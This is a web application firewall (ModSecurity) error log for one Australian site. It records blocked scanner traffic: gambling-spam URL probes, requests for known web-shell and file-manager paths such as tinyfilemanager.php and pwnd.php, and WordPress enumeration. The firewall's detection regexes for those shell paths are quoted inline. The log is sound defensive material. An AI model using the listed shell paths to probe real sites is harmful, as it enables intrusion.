[Mon Apr 20 05:00:45.019698 2026] [:error] [pid 64334:tid 64416] [client 51.68.32.135:56364] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeVCfcNh9IxxDqsrPyOEQAAAAI0"]
[Mon Apr 20 05:00:47.469833 2026] [:error] [pid 64334:tid 64422] [client 51.68.32.135:60750] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeVCf8Nh9IxxDqsrPyOEQwAAAJM"]
[Mon Apr 20 05:00:49.909518 2026] [:error] [pid 48101:tid 48112] [client 51.68.32.135:60756] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeVCgfIgenNbs2bVQGsHzAAAAYg"]
[Mon Apr 20 05:00:52.350945 2026] [:error] [pid 47731:tid 47748] [client 51.68.32.135:60762] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeVChFOwpc-h7Nzn-iOOEQAAAQ8"]
[Mon Apr 20 05:00:54.643271 2026] [:error] [pid 64334:tid 64427] [client 51.68.32.135:60776] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeVChsNh9IxxDqsrPyOEWgAAAJg"]
[Mon Apr 20 05:00:57.073905 2026] [:error] [pid 64440:tid 64466] [client 51.68.32.135:49022] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeVCidkVUvTgp8p7mrPY7wAAANc"]
[Mon Apr 20 05:00:59.510909 2026] [:error] [pid 64440:tid 64453] [client 51.68.32.135:49036] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeVCi9kVUvTgp8p7mrPY9gAAAMo"]
[Mon Apr 20 05:01:01.955060 2026] [:error] [pid 64440:tid 64458] [client 51.68.32.135:49038] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeVCjdkVUvTgp8p7mrPZBAAAAM8"]
[Mon Apr 20 05:01:04.251511 2026] [:error] [pid 64334:tid 64417] [client 51.68.32.135:49044] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeVCkMNh9IxxDqsrPyOEZgAAAI4"]
[Mon Apr 20 05:01:06.693591 2026] [:error] [pid 64334:tid 64425] [client 51.68.32.135:52196] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeVCksNh9IxxDqsrPyOEcAAAAJY"]
[Mon Apr 20 05:01:09.130074 2026] [:error] [pid 48101:tid 48128] [client 51.68.32.135:52210] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aeVClfIgenNbs2bVQGsH6gAAAZg"]
[Mon Apr 20 05:01:11.560251 2026] [:error] [pid 47779:tid 47803] [client 51.68.32.135:52214] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeVCl4ahGl1n9UkmcNjmOQAAAVY"]
[Mon Apr 20 05:01:13.999047 2026] [:error] [pid 64440:tid 64456] [client 51.68.32.135:52220] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aeVCmdkVUvTgp8p7mrPZDAAAAM0"]
[Mon Apr 20 05:01:16.441469 2026] [:error] [pid 48101:tid 48105] [client 51.68.32.135:60548] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aeVCnPIgenNbs2bVQGsH8wAAAYE"]
[Mon Apr 20 05:01:18.875590 2026] [:error] [pid 47731:tid 47744] [client 51.68.32.135:60558] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aeVCnlOwpc-h7Nzn-iOOPwAAAQs"]
[Mon Apr 20 05:01:39.656877 2026] [:error] [pid 64440:tid 64458] [client 51.68.32.135:60560] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeVCs9kVUvTgp8p7mrPZdAAAAM8"]
[Mon Apr 20 05:01:42.067588 2026] [:error] [pid 64334:tid 64419] [client 51.68.32.135:39574] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeVCtsNh9IxxDqsrPyOEpgAAAJA"]
[Mon Apr 20 05:01:44.519292 2026] [:error] [pid 64440:tid 64460] [client 51.68.32.135:39580] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeVCuNkVUvTgp8p7mrPZdgAAANE"]
[Mon Apr 20 05:01:46.953853 2026] [:error] [pid 64334:tid 64427] [client 51.68.32.135:36148] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeVCusNh9IxxDqsrPyOEugAAAJg"]
[Mon Apr 20 05:01:49.405481 2026] [:error] [pid 47779:tid 47799] [client 51.68.32.135:36156] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeVCvYahGl1n9UkmcNjmUAAAAVI"]
[Mon Apr 20 05:01:51.696765 2026] [:error] [pid 47731:tid 47737] [client 51.68.32.135:36164] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeVCv1Owpc-h7Nzn-iOOVgAAAQQ"]
[Mon Apr 20 05:01:54.130400 2026] [:error] [pid 64440:tid 64463] [client 51.68.32.135:36172] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeVCwtkVUvTgp8p7mrPZjgAAANQ"]
[Mon Apr 20 05:01:56.569598 2026] [:error] [pid 64334:tid 64418] [client 51.68.32.135:45734] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeVCxMNh9IxxDqsrPyOExQAAAI8"]
[Mon Apr 20 05:01:59.012757 2026] [:error] [pid 47731:tid 47748] [client 51.68.32.135:45742] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeVCx1Owpc-h7Nzn-iOOXQAAAQ8"]
[Mon Apr 20 05:02:01.446352 2026] [:error] [pid 47731:tid 47737] [client 51.68.32.135:45758] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeVCyVOwpc-h7Nzn-iOOYAAAAQQ"]
[Mon Apr 20 05:02:03.883434 2026] [:error] [pid 64440:tid 64445] [client 51.68.32.135:45760] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeVCy9kVUvTgp8p7mrPZoQAAAMI"]
[Mon Apr 20 05:02:06.318771 2026] [:error] [pid 64334:tid 64426] [client 51.68.32.135:60874] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeVCzsNh9IxxDqsrPyOE4wAAAJc"]
[Mon Apr 20 05:02:08.752426 2026] [:error] [pid 64334:tid 64424] [client 51.68.32.135:60878] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeVC0MNh9IxxDqsrPyOE7gAAAJU"]
[Mon Apr 20 05:02:11.186128 2026] [:error] [pid 64334:tid 64413] [client 51.68.32.135:60884] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeVC08Nh9IxxDqsrPyOE-AAAAIo"]
[Mon Apr 20 05:02:13.620831 2026] [:error] [pid 47779:tid 47795] [client 51.68.32.135:60890] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aeVC1YahGl1n9UkmcNjmXwAAAU4"]
[Mon Apr 20 05:02:15.910440 2026] [:error] [pid 64333:tid 64395] [client 51.68.32.135:53618] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aeVC13Zav9wH8wxMd_s1iwAAAFM"]
[Mon Apr 20 05:18:06.530518 2026] [:error] [pid 64334:tid 64426] [client 185.192.71.240:44413] [client 185.192.71.240] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeVGjsNh9IxxDqsrPyONPwAAAJc"]
[Mon Apr 20 05:18:09.735836 2026] [:error] [pid 48101:tid 48104] [client 185.192.71.234:32425] [client 185.192.71.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeVGkfIgenNbs2bVQGsMcQAAAYA"]
[Mon Apr 20 05:18:12.388594 2026] [:error] [pid 48101:tid 48120] [client 185.192.71.239:31727] [client 185.192.71.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeVGlPIgenNbs2bVQGsMfgAAAZA"]
[Mon Apr 20 05:18:14.044183 2026] [:error] [pid 64333:tid 64382] [client 185.192.71.245:27817] [client 185.192.71.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aeVGlnZav9wH8wxMd_s4NQAAAEY"]
[Mon Apr 20 05:18:18.787200 2026] [:error] [pid 64333:tid 64378] [client 91.230.225.174:47883] [client 91.230.225.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeVGmnZav9wH8wxMd_s4TAAAAEI"]
[Mon Apr 20 05:18:19.895492 2026] [:error] [pid 64440:tid 64463] [client 185.192.71.234:42139] [client 185.192.71.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aeVGm9kVUvTgp8p7mrPfYgAAANQ"]
[Mon Apr 20 06:49:23.704435 2026] [:error] [pid 64332:tid 64349] [client 217.182.195.181:53472] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aeVb88AQ57uMKAVSYEkLcQAAAAc"]
[Mon Apr 20 06:49:26.146736 2026] [:error] [pid 64333:tid 64391] [client 217.182.195.181:57456] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aeVb9nZav9wH8wxMd_tcRQAAAE8"]
[Mon Apr 20 06:49:28.729301 2026] [:error] [pid 64333:tid 64380] [client 217.182.195.181:57466] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aeVb-HZav9wH8wxMd_tcRwAAAEQ"]
[Mon Apr 20 06:49:31.394303 2026] [:error] [pid 47731:tid 47757] [client 217.182.195.181:48608] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aeVb-1Owpc-h7Nzn-iOoSgAAARg"]
[Mon Apr 20 06:49:33.951708 2026] [:error] [pid 64440:tid 64446] [client 217.182.195.181:48610] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aeVb_dkVUvTgp8p7mrPwAAAAAMM"]
[Mon Apr 20 06:49:36.493722 2026] [:error] [pid 64333:tid 64383] [client 217.182.195.181:48620] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aeVcAHZav9wH8wxMd_tcVQAAAEc"]
[Mon Apr 20 06:49:38.842906 2026] [:error] [pid 60072:tid 60076] [client 217.182.195.181:48636] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aeVcAvuj5dzu2v3Qr6GjLgAAAcI"]
[Mon Apr 20 08:42:40.288209 2026] [:error] [pid 64440:tid 64467] [client 101.42.46.71:40640] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeV2gNkVUvTgp8p7mrMCkAAAANg"]
[Mon Apr 20 11:03:22.789843 2026] [:error] [pid 11441:tid 11465] [client 34.30.92.68:52838] [client 34.30.92.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.30.92.68, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeWXesixByFUvmh319CmTwAAANY"]
[Mon Apr 20 11:03:23.153447 2026] [:error] [pid 11352:tid 11419] [client 34.30.92.68:62684] [client 34.30.92.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.30.92.68, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeWXe2l10mhMSfJ7ir8-FwAAAIU"]
[Mon Apr 20 11:03:23.371168 2026] [:error] [pid 11352:tid 11430] [client 34.30.92.68:62684] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeWXe2l10mhMSfJ7ir8-GQAAAJA"]
[Mon Apr 20 11:03:23.531921 2026] [:error] [pid 11441:tid 11443] [client 34.30.92.68:52838] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeWXe8ixByFUvmh319CmVgAAAMA"]
[Mon Apr 20 11:03:24.198150 2026] [:error] [pid 11350:tid 11374] [client 34.30.92.68:60787] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aeWXfP4EoMBgOJuJnT0NMAAAAA8"]
[Mon Apr 20 11:03:24.333895 2026] [:error] [pid 11351:tid 11399] [client 34.30.92.68:58208] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aeWXfAN8Z1-vktaI_tNeYQAAAEw"]
[Mon Apr 20 11:03:25.004879 2026] [:error] [pid 11350:tid 11362] [client 34.30.92.68:58117] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeWXff4EoMBgOJuJnT0NNAAAAAM"]
